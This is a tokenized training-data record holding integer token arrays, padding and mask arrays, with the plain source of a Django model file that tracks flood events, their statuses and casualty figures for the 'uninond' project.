83, 297, 288, 1660, 267, 2318, 267, 6180, 14, 14907, 8, 288, 536, 534, 1262, 16448, 22785, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 29253, 297, 1709, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 4048, 63, 354, 534, 2671, 63, 29253, 297, 370, 29, 1751, 14, 5580, 63, 3791, 63, 11429, 12, 3376, 63, 354, 29, 66, 7, 4436, 2235, 16448, 3855, 288, 2156, 288, 1511, 3126, 355, 283, 3832, 63, 354, 356, 283, 1262, 16448, 11086, 297, 355, 283, 3832, 63, 354, 63, 10019, 356, 283, 1262, 16448, 11086, 83, 297, 288, 1660, 267, 2318, 267, 6180, 14, 14907, 8, 288, 536, 534, 4436, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 3966, 297, 1709, 14, 4626, 8, 10820, 29, 797, 1826, 355, 661, 5334, 297, 1709, 14, 4626, 8, 2495, 63, 2131, 29, 549, 1826, 355, 661, 374, 63, 6062, 297, 1709, 14, 5036, 8, 885, 29, 797, 1826, 355, 661, 2019, 63, 1188, 297, 1709, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 4048, 63, 354, 534, 2019, 63, 1188, 63, 262, 63, 2671, 297, 370, 534, 1168, 63, 3431, 14, 14508, 297, 3376, 63, 354, 29, 66, 7, 6090, 6430, 3855, 355, 661, 3431, 297, 1709, 14, 7624, 8, 2407, 63, 354, 534, 2671, 63, 3431, 297, 370, 534, 1168, 63, 3431, 14, 14508, 297, 3376, 63, 354, 29, 66, 7, 4436, 27377, 3855, 355, 661, 31790, 297, 1709, 14, 7624, 8, 2407, 63, 354, 534, 2671, 63, 31790, 297, 370, 29, 1751, 14, 5580, 63, 3791, 63, 11429, 1826, 288, 2156, 288, 1511, 3126, 355, 283, 3832, 63, 354, 356, 283, 4436, 297, 355, 283, 3832, 63, 354, 63, 10019, 356, 283, 22785, 297, 288, 1660, 267, 2318, 267, 6180, 14, 18381, 8, 288, 1402, 63, 354, 534, 29253, 6962, 297, 288, 536, 534, 6962, 297, 288, 901, 29, 992, 14, 7624, 8, 2407, 63, 354, 534, 29253, 63, 6962, 297, 370, 534, 1168, 63, 3431, 14, 4436, 297, 3376, 63, 354, 29, 66, 7, 1262, 16448, 11086, 83, 659, 267, 2318, 267, 6180, 14, 18381, 8, 288, 1402, 63, 354, 534, 29253, 12782, 297, 288, 536, 534, 2671, 297, 288, 901, 29, 992, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 4048, 63, 354, 534, 29253, 63, 2671, 297, 370, 534, 1168, 63, 3431, 14, 4436, 659, 267, 2318, 272, 1622, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 17065, 701, 5634, 413, 14, 25, 14, 24, 641, 7800, 13, 1780, 13, 1194, 3144, 26, 996, 421, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 697, 492, 6180, 12, 1709, 199, 646, 1639, 14, 697, 14, 992, 14, 14281, 421, 199, 533, 12090, 8, 7685, 14, 9816, 304, 339, 2536, 275, 715, 339, 5124, 275, 359, 267, 6180, 14, 31925, 63, 8575, 8, 1751, 14, 5580, 63, 3791, 63, 11429, 395, 272, 1622, 339, 5331, 275, 359, 267, 6180, 14, 14907, 8, 288, 536, 534, 14508, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 2030, 297, 1709, 14, 6254, 4000, 355, 661, 3966, 297, 1709, 14, 4626, 8, 10820, 29, 797, 1826, 355, 661, 374, 63, 6062, 297, 1709, 14, 5036, 8, 885, 29, 797, 1826, 355, 661, 1708, 297, 1709, 14, 3190, 8, 2307, 29, 549, 12, 641, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 370, 534, 1168, 63, 3431, 14, 14508, 3855, 355, 661, 8114, 297, 1709, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 4048, 63, 354, 534, 1188, 63, 8114, 297, 370, 29, 1751, 14, 5580, 63, 3791, 63, 11429, 1826, 288, 2156, 288, 1511, 3126, 355, 283, 3832, 63, 354, 356, 283, 2209, 297, 355, 283, 3832, 63, 354, 63, 10019, 356, 283, 14508, 297, 288, 1660, 267, 2318, 267, 6180, 14, 14907, 8, 288, 536, 534, 1262, 16448, 30620, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 1188, 63, 835, 297, 1709, 14, 3901, 8, 885, 29, 16, 1826, 355, 661, 5334, 297, 1709, 14, 4626, 8, 2495, 63, 2131, 29, 549, 1826, 355, 661, 1205, 297, 1709, 14, 5036, 8, 885, 29, 797, 1826, 355, 661, 29253, 297, 1709, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 4048, 63, 354, 534, 889, 8981, 63, 29253, 297, 370, 29, 1751, 14, 5580, 63, 3791, 63, 11429, 12, 3376, 63, 354, 29, 66, 7, 11598, 2235, 16448, 3855, 288, 2156, 288, 1511, 3126, 355, 283, 3832, 63, 354, 356, 283, 1262, 16448, 23362, 297, 355, 283, 3832, 63, 354, 63, 10019, 356, 283, 1262, 16448, 23362, 83, 297, 288, 1660, 267, 2318, 267, 6180, 14, 14907, 8, 288, 536, 534, 1262, 16448, 22785, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 29253, 297, 1709, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 4048, 63, 354, 534, 2671, 63, 29253, 297, 370, 29, 1751, 14, 5580, 63, 3791, 63, 11429, 12, 3376, 63, 354, 29, 66, 7, 4436, 2235, 16448, 3855, 288, 2156, 288, 1511, 3126, 355, 283, 3832, 63, 354, 356, 283, 1262, 16448, 11086, 297, 355, 283, 3832, 63, 354, 63, 10019, 356, 283, 1262, 16448, 11086, 83, 297, 288, 1660, 267, 2318, 267, 6180, 14, 14907, 8, 288, 536, 534, 4436, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 3966, 297, 1709, 14, 4626, 8, 10820, 29, 797, 1826, 355, 661, 5334, 297, 1709, 14, 4626, 8, 2495, 63, 2131, 29, 549, 1826, 355, 661, 374, 63, 6062, 297, 1709, 14, 5036, 8, 885, 29, 797, 1826, 355, 661, 2019, 63, 1188, 297, 1709, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 4048, 63, 354, 534, 2019, 63, 1188, 63, 262, 63, 2671, 297, 370, 534, 1168, 63, 3431, 14, 14508, 297, 3376, 63, 354, 29, 66, 7, 6090, 6430, 3855, 355, 661, 3431, 297, 1709, 14, 7624, 8, 2407, 63, 354, 534, 2671, 63, 3431, 297, 370, 534, 1168, 63, 3431, 14, 14508, 297, 3376, 63, 354, 29, 66, 7, 4436, 27377, 3855, 355, 661, 31790, 297, 1709, 14, 7624, 8, 2407, 63, 354, 534, 2671, 63, 31790, 297, 370, 29, 1751, 14, 5580, 63, 3791, 63, 11429, 1826, 288, 2156, 288, 1511, 3126, 355, 283, 3832, 63, 354, 356, 283, 4436, 297, 355, 283, 3832, 63, 354, 63, 10019, 356, 283, 22785, 297, 288, 1660, 267, 2318, 267, 6180, 14, 18381, 8, 288, 1402, 63, 354, 534, 29253, 6962, 297, 288, 536, 534, 6962, 297, 288, 901, 29, 992, 14, 7624, 8, 2407, 63, 354, 534, 29253, 63, 6962, 297, 370, 534, 1168, 63, 3431, 14, 4436, 297, 3376, 63, 354, 29, 66, 7, 1262, 16448, 11086, 83, 659, 267, 2318, 267, 6180, 14, 18381, 8, 288, 1402, 63, 354, 534, 29253, 12782, 297, 288, 536, 534, 2671, 297, 288, 901, 29, 992, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 4048, 63, 354, 534, 29253, 63, 2671, 297, 370, 534, 1168, 63, 3431, 14, 4436, 659, 267, 2318, 272, 1622, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
yeleman/uninond
uninond/models/FloodEvents.py
1
9551
#!/usr/bin/env python # -*- coding: utf-8 -*- # vim: ai ts=4 sts=4 et sw=4 nu from __future__ import (unicode_literals, absolute_import, division, print_function) import logging import datetime from py3compat import implements_to_string from django.utils.translation import ugettext_lazy as _ from django.utils import timezone from django.db import models from uninond.tools import date_to_ident, ALPHA logger = logging.getLogger(__name__) @implements_to_string class FloodEvent(models.Model): class Meta: app_label = 'uninond' verbose_name = _("Inondation") verbose_name_plural = _("Inondations") ordering = ['-created_on'] EXPIRATION_DELAY = 5 * 86400 # 5days DUPLICATE_DURATION = 36 * 3600 # 36hours CREATED = 'created' CANCELLED = 'cancelled' RESTRAINED = 'restrained' CONFIRMED = 'confirmed' EXPIRED = 'expired' STATUSES = { CREATED: "Créé", CANCELLED: "Annulée", RESTRAINED: "Contenue", CONFIRMED: "Confirmée", EXPIRED: "Expirée" } AREAS = { 1: "1/3", 2: "2/3", 3: "3/3" } ident = models.SlugField(max_length=10, primary_key=True) created_on = models.DateTimeField(default=timezone.now) created_by = models.ForeignKey('Contact', related_name='flood_events') location = models.ForeignKey('Location', related_name='flood_events') messages = models.ManyToManyField('SMSMessage', blank=True, related_name='flood_events') status = models.SlugField(max_length=50, default=CREATED, choices=STATUSES.items()) expired_on = models.DateTimeField(blank=True, null=True) initial_flooded_area = models.PositiveIntegerField(choices=AREAS.items()) initial_homes_destroyed = models.PositiveIntegerField(default=0) initial_dead = models.PositiveIntegerField(default=0) initial_wounded = models.PositiveIntegerField(default=0) cancelled_on = models.DateTimeField(blank=True, null=True) cancelled_by = models.ForeignKey('Contact', related_name='cancelled_flood_events', blank=True, null=True) restrained_on = models.DateTimeField(blank=True, null=True) restrained_by = models.ForeignKey('Contact', related_name='restrained_flood_events', blank=True, null=True) restrained_flooded_area = models.PositiveIntegerField( choices=AREAS.items(), blank=True, null=True) restrained_homes_destroyed = models.PositiveIntegerField( blank=True, null=True) restrained_dead = models.PositiveIntegerField(blank=True, null=True) restrained_wounded = models.PositiveIntegerField(blank=True, null=True) restrained_comment = models.CharField(max_length=1600, blank=True, null=True) confirmed_on = models.DateTimeField(blank=True, null=True) confirmed_by = models.ForeignKey('Contact', related_name='confirmed_flood_events', blank=True, null=True) confirmed_flooded_area = models.PositiveIntegerField( choices=AREAS.items(), blank=True, null=True) confirmed_homes_destroyed = models.PositiveIntegerField( blank=True, null=True) confirmed_dead = models.PositiveIntegerField(blank=True, null=True) confirmed_wounded = models.PositiveIntegerField(blank=True, null=True) confirmed_comment = models.CharField(max_length=1600, blank=True, null=True) @classmethod def get_or_none(cls, ident): try: return cls.objects.get(ident=ident.lower()) except cls.DoesNotExist: return None @classmethod def duplicate(cls, location, created_on): try: sod = created_on - datetime.timedelta( seconds=cls.DUPLICATE_DURATION) return cls.objects.filter(location=location) \ .filter(created_on__range=(sod, created_on)) \ .last() except cls.DoesNotExist: return None @property def closed(self): return self.status in (self.CANCELLED, self.EXPIRED, self.RESTRAINED, self.CONFIRMED) @property def expired(self): return self.status == self.EXPIRED @property def cancelled(self): return self.status == self.CANCELLED @property def confirmed(self): return self.status == self.CONFIRMED @property def restrained(self): return self.status == self.RESTRAINED @property def verified(self): return self.closed and \ self.status not in (self.EXPIRED, self.CANCELLED) @property def verbose_status(self): return self.STATUSES.get(self.status) @property def verbose_ident(self): return "#{}".format(self.ident) @property def closed_on(self): if not self.closed: return None if self.status == self.CANCELLED: return self.cancelled_on if self.status == self.EXPIRED: return self.expired_on if self.status == self.RESTRAINED: return self.restrained_on if self.status == self.CONFIRMED: return self.confirmed_on @property def updated_on(self): if self.closed: return self.closed_on return self.created_on def current_value_of(self, field): if field == 'comment' and not self.confirmed: return None if self.status in (self.CREATED, self.CANCELLED, self.EXPIRED): prefix = 'initial' if self.status == self.RESTRAINED: prefix = 'restrained' if self.status == self.CONFIRMED: prefix = 'confirmed' return getattr(self, '{pf}_{f}'.format(pf=prefix, f=field), None) @property def flooded_area(self): return self.current_value_of('flooded_area') @property def verbose_flooded_area(self): return self.get_verbose_flooded_area(self.flooded_area) @classmethod def get_verbose_flooded_area(cls, area): return cls.AREAS.get(area) @property def homes_destroyed(self): return self.current_value_of('homes_destroyed') @property def dead(self): return self.current_value_of('dead') @property def wounded(self): return self.current_value_of('wounded') @property def comment(self): return self.current_value_of('comment') def cancel(self, by, at=None): self.change_status(self.CANCELLED, by, at) def restrain(self, by, flooded_area, homes_destroyed, dead, wounded, comment=None, at=None): self.update_parameters(self.RESTRAINED, flooded_area, homes_destroyed, dead, wounded, comment) self.change_status(self.RESTRAINED, by, at) def confirm(self, by, flooded_area, homes_destroyed, dead, wounded, comment=None, at=None): self.update_parameters(self.CONFIRMED, flooded_area, homes_destroyed, dead, wounded, comment) self.change_status(self.CONFIRMED, by, at) def expire(self, at=None): self.change_status(self.EXPIRED, at=at) def change_status(self, new_status, by=None, at=None): if at is None: at = timezone.now() if new_status == self.CANCELLED: self.cancelled_on = at self.cancelled_by = by elif new_status == self.RESTRAINED: self.restrained_on = at self.restrained_by = by elif new_status == self.CONFIRMED: self.confirmed_on = at self.confirmed_by = by elif new_status == self.EXPIRED: self.expired_on = at self.status = new_status self.save() def update_parameters(self, for_status, flooded_area, homes_destroyed, dead, wounded, comment=None): upd = lambda f, v: setattr(self, '{status}_{field}' .format(status=for_status, field=f), v) upd('flooded_area', flooded_area) upd('homes_destroyed', homes_destroyed) upd('dead', dead) upd('wounded', wounded) upd('comment', comment) self.save() def __str__(self): return "{ident} at {location}".format(ident=self.verbose_ident, location=self.location) def gen_ident(self): ident = date_to_ident(self.created_on) if self.get_or_none(ident) is None: return ident else: eoi = FloodEvent.objects.filter(ident__startswith=ident) \ .order_by('-created_on').first().ident[-1] if eoi.isdigit(): counter = 'a' else: counter = ALPHA[ALPHA.index(eoi) + 1] return "{ident}{counter}".format(ident=ident, counter=counter) def save(self, *args, **kwargs): if not self.ident: self.ident = self.gen_ident() super(FloodEvent, self).save() def add_message(self, message): self.messages.add(message)
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 6695, 26, 15933, 6714, 29, 20, 23014, 29, 20, 10844, 5584, 29, 20, 15699, 199, 199, 504, 636, 2443, 363, 492, 334, 2975, 63, 5955, 12, 3679, 63, 646, 12, 717, 4629, 12, 870, 63, 1593, 9, 199, 646, 2050, 199, 646, 2197, 199, 199, 504, 1134, 19, 5819, 492, 9031, 63, 475, 63, 875, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 63, 6395, 465, 485, 199, 504, 1639, 14, 1208, 492, 7137, 199, 504, 1639, 14, 697, 492, 1709, 199, 199, 504, 625, 262, 7835, 14, 2537, 492, 1434, 63, 475, 63, 5425, 12, 31278, 199, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 32, 24900, 63, 475, 63, 875, 199, 533, 481, 21703, 2390, 8, 992, 14, 1685, 304, 339, 1021, 6288, 26, 267, 1145, 63, 1302, 275, 283, 324, 262, 7835, 7, 267, 3376, 63, 354, 275, 3824, 607, 7835, 425, 531, 267, 3376, 63, 354, 63, 10019, 275, 3824, 607, 7835, 1298, 531, 267, 7794, 275, 11573, 3966, 63, 265, 418, 339, 3651, 2252, 23743, 63, 18616, 275, 959, 627, 31200, 221, 327, 959, 4899, 272, 577, 2160, 2507, 1951, 63, 36, 15301, 275, 8780, 627, 15751, 221, 327, 8780, 8419, 272, 15654, 6989, 275, 283, 3966, 7, 272, 27385, 5290, 275, 283, 21924, 7, 272, 14880, 21715, 1149, 275, 283, 3911, 15546, 7, 272, 1868, 28830, 1149, 275, 283, 16391, 7, 272, 3651, 2252, 7387, 275, 283, 16340, 7, 339, 18460, 654, 275, 469, 267, 15654, 6989, 26, 298, 17345, 5741, 5741, 401, 267, 27385, 5290, 26, 298, 2493, 78, 348, 5741, 69, 401, 267, 14880, 21715, 1149, 26, 298, 714, 724, 310, 401, 267, 1868, 28830, 1149, 26, 298, 26857, 5741, 69, 401, 267, 3651, 2252, 7387, 26, 298, 4527, 723, 5741, 69, 2, 272, 789, 339, 9315, 1179, 275, 469, 267, 413, 26, 298, 17, 15, 19, 401, 267, 499, 26, 298, 18, 15, 19, 401, 267, 650, 26, 298, 19, 15, 19, 2, 272, 789, 339, 12893, 275, 1709, 14, 17315, 8, 988, 63, 1267, 29, 709, 12, 5062, 63, 498, 29, 549, 9, 339, 2737, 63, 265, 275, 1709, 14, 4626, 8, 885, 29, 7145, 14, 2131, 9, 272, 2737, 63, 991, 275, 1709, 14, 3190, 360, 14499, 297, 4048, 63, 354, 534, 70, 21703, 63, 4368, 358, 272, 2909, 275, 1709, 14, 3190, 360, 6592, 297, 4048, 63, 354, 534, 70, 21703, 63, 4368, 358, 339, 3788, 275, 1709, 14, 7624, 360, 51, 3053, 2209, 297, 4596, 29, 549, 12, 4228, 4048, 63, 354, 534, 70, 21703, 63, 4368, 358, 272, 2004, 275, 1709, 14, 17315, 8, 988, 63, 1267, 29, 1400, 12, 849, 29, 26561, 12, 2892, 3415, 29, 6305, 654, 14, 1744, 1012, 272, 14721, 63, 265, 275, 1709, 14, 4626, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 339, 2536, 63, 28233, 380, 68, 63, 6789, 275, 1709, 14, 8591, 8, 4577, 29, 8693, 1179, 14, 1744, 1012, 272, 2536, 63, 4219, 83, 63, 7237, 379, 275, 1709, 14, 8591, 8, 885, 29, 16, 9, 272, 2536, 63, 10957, 275, 1709, 14, 8591, 8, 885, 29, 16, 9, 272, 2536, 63, 2027, 4585, 275, 1709, 14, 8591, 8, 885, 29, 16, 9, 339, 20115, 63, 265, 275, 1709, 14, 4626, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 20115, 63, 991, 275, 1709, 14, 3190, 360, 14499, 297, 3660, 4048, 63, 354, 534, 21924, 63, 70, 21703, 63, 4368, 297, 3660, 4596, 29, 549, 12, 2973, 29, 549, 9, 339, 4618, 15546, 63, 265, 275, 1709, 14, 4626, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 4618, 15546, 63, 991, 275, 1709, 14, 3190, 360, 14499, 297, 4228, 4048, 63, 354, 534, 3911, 15546, 63, 70, 21703, 63, 4368, 297, 4228, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 4618, 15546, 63, 28233, 380, 68, 63, 6789, 275, 1709, 14, 8591, 8, 267, 3415, 29, 8693, 1179, 14, 1744, 1062, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 4618, 15546, 63, 4219, 83, 63, 7237, 379, 275, 1709, 14, 8591, 8, 267, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 4618, 15546, 63, 10957, 275, 1709, 14, 8591, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 4618, 15546, 63, 2027, 4585, 275, 1709, 14, 8591, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 4618, 15546, 63, 3349, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 28159, 12, 5101, 4596, 29, 549, 12, 2973, 29, 549, 9, 339, 22763, 63, 265, 275, 1709, 14, 4626, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 22763, 63, 991, 275, 1709, 14, 3190, 360, 14499, 297, 3660, 4048, 63, 354, 534, 16391, 63, 70, 21703, 63, 4368, 297, 3660, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 22763, 63, 28233, 380, 68, 63, 6789, 275, 1709, 14, 8591, 8, 267, 3415, 29, 8693, 1179, 14, 1744, 1062, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 22763, 63, 4219, 83, 63, 7237, 379, 275, 1709, 14, 8591, 8, 267, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 22763, 63, 10957, 275, 1709, 14, 8591, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 22763, 63, 2027, 4585, 275, 1709, 14, 8591, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 22763, 63, 3349, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 28159, 12, 1460, 4596, 29, 549, 12, 2973, 29, 549, 9, 339, 768, 3744, 272, 347, 664, 63, 269, 63, 3592, 8, 1886, 12, 12893, 304, 267, 862, 26, 288, 372, 843, 14, 1462, 14, 362, 8, 5425, 29, 5425, 14, 2325, 1012, 267, 871, 843, 14, 7400, 26, 288, 372, 488, 339, 768, 3744, 272, 347, 9250, 8, 1886, 12, 2909, 12, 2737, 63, 265, 304, 267, 862, 26, 288, 308, 364, 275, 2737, 63, 265, 446, 2197, 14, 7473, 8, 355, 4696, 29, 1886, 14, 24099, 2507, 1951, 63, 36, 15301, 9, 288, 372, 843, 14, 1462, 14, 1541, 8, 1985, 29, 1985, 9, 971, 2892, 1275, 1541, 8 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 6695, 26, 15933, 6714, 29, 20, 23014, 29, 20, 10844, 5584, 29, 20, 15699, 199, 199, 504, 636, 2443, 363, 492, 334, 2975, 63, 5955, 12, 3679, 63, 646, 12, 717, 4629, 12, 870, 63, 1593, 9, 199, 646, 2050, 199, 646, 2197, 199, 199, 504, 1134, 19, 5819, 492, 9031, 63, 475, 63, 875, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 63, 6395, 465, 485, 199, 504, 1639, 14, 1208, 492, 7137, 199, 504, 1639, 14, 697, 492, 1709, 199, 199, 504, 625, 262, 7835, 14, 2537, 492, 1434, 63, 475, 63, 5425, 12, 31278, 199, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 32, 24900, 63, 475, 63, 875, 199, 533, 481, 21703, 2390, 8, 992, 14, 1685, 304, 339, 1021, 6288, 26, 267, 1145, 63, 1302, 275, 283, 324, 262, 7835, 7, 267, 3376, 63, 354, 275, 3824, 607, 7835, 425, 531, 267, 3376, 63, 354, 63, 10019, 275, 3824, 607, 7835, 1298, 531, 267, 7794, 275, 11573, 3966, 63, 265, 418, 339, 3651, 2252, 23743, 63, 18616, 275, 959, 627, 31200, 221, 327, 959, 4899, 272, 577, 2160, 2507, 1951, 63, 36, 15301, 275, 8780, 627, 15751, 221, 327, 8780, 8419, 272, 15654, 6989, 275, 283, 3966, 7, 272, 27385, 5290, 275, 283, 21924, 7, 272, 14880, 21715, 1149, 275, 283, 3911, 15546, 7, 272, 1868, 28830, 1149, 275, 283, 16391, 7, 272, 3651, 2252, 7387, 275, 283, 16340, 7, 339, 18460, 654, 275, 469, 267, 15654, 6989, 26, 298, 17345, 5741, 5741, 401, 267, 27385, 5290, 26, 298, 2493, 78, 348, 5741, 69, 401, 267, 14880, 21715, 1149, 26, 298, 714, 724, 310, 401, 267, 1868, 28830, 1149, 26, 298, 26857, 5741, 69, 401, 267, 3651, 2252, 7387, 26, 298, 4527, 723, 5741, 69, 2, 272, 789, 339, 9315, 1179, 275, 469, 267, 413, 26, 298, 17, 15, 19, 401, 267, 499, 26, 298, 18, 15, 19, 401, 267, 650, 26, 298, 19, 15, 19, 2, 272, 789, 339, 12893, 275, 1709, 14, 17315, 8, 988, 63, 1267, 29, 709, 12, 5062, 63, 498, 29, 549, 9, 339, 2737, 63, 265, 275, 1709, 14, 4626, 8, 885, 29, 7145, 14, 2131, 9, 272, 2737, 63, 991, 275, 1709, 14, 3190, 360, 14499, 297, 4048, 63, 354, 534, 70, 21703, 63, 4368, 358, 272, 2909, 275, 1709, 14, 3190, 360, 6592, 297, 4048, 63, 354, 534, 70, 21703, 63, 4368, 358, 339, 3788, 275, 1709, 14, 7624, 360, 51, 3053, 2209, 297, 4596, 29, 549, 12, 4228, 4048, 63, 354, 534, 70, 21703, 63, 4368, 358, 272, 2004, 275, 1709, 14, 17315, 8, 988, 63, 1267, 29, 1400, 12, 849, 29, 26561, 12, 2892, 3415, 29, 6305, 654, 14, 1744, 1012, 272, 14721, 63, 265, 275, 1709, 14, 4626, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 339, 2536, 63, 28233, 380, 68, 63, 6789, 275, 1709, 14, 8591, 8, 4577, 29, 8693, 1179, 14, 1744, 1012, 272, 2536, 63, 4219, 83, 63, 7237, 379, 275, 1709, 14, 8591, 8, 885, 29, 16, 9, 272, 2536, 63, 10957, 275, 1709, 14, 8591, 8, 885, 29, 16, 9, 272, 2536, 63, 2027, 4585, 275, 1709, 14, 8591, 8, 885, 29, 16, 9, 339, 20115, 63, 265, 275, 1709, 14, 4626, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 20115, 63, 991, 